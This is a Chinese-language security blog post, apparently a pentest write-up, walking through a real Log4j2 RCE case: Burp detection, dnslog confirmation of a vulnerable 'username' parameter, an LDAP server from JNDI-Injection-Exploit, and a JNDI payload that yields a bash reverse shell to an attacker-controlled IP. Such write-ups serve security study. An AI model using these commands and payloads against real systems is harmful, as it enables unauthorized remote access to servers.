Log4j2 漏洞实战案例
2022-12-2 07:31:17 Author: Ms08067安全实验室(查看原文) 阅读量:47 收藏

在现在以及未来的一段时间里,Log4j2 漏洞依然是渗透和排查的重点。在测试靶场里复现多次,在实战中遇到还是十分兴奋,So,总得记录点什么吧。


01、漏洞发现

通过burp插件的方式,将Log4j2漏洞检测能力集成到burp进行被动扫描。在访问网站抓包的过程中,检测到目标站点存在Log4j2 RCE漏洞。

02、确认漏洞参数

由于使用参数Fuzz,每个数据包里都夹带多个参数注入Payload,我们需要进一步定位到具体的漏洞参数位置。

(1)登录ceye.io,可以查看当前的dnslog。

(2)对比burp参数注入的payload和dnslog请求,可初步确认参数username存在Log4j2 RCE漏洞。

03、构建ldap服务

通过JNDI注入利用的工具,构建好恶意类地址和ldap服务,为进一步漏洞利用做好准备。

(1)构建payload,将要执行的命令进行base64编码,可通过Java Runtime 配合 bash 编码实现。

在线编码地址:

https://www.jackson-t.ca/runtime-exec-payloads.html

(2)用JNDIExploit启动一个ldap的服务。

命令如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”

04、获取目标权限

利用Log4j2漏洞向目标服务器发送构造的payload语句,反弹shell,从而获取目标服务器权限。

(1)启动端口监听

(2)在burp进行构造payload,url编码后发送请求。

Payload:

?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}

(3)服务端成功接收到bash反弹的shell。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247504636&idx=2&sn=fa20b2f1ee233d0f64370e9a65530d30&chksm=fc3c6bfdcb4be2eb95359b6a505a1d1367ecaccf2103bb0fb3d6384bda315070aef6f90af451#rd
如有侵权请联系:admin#unsafe.sh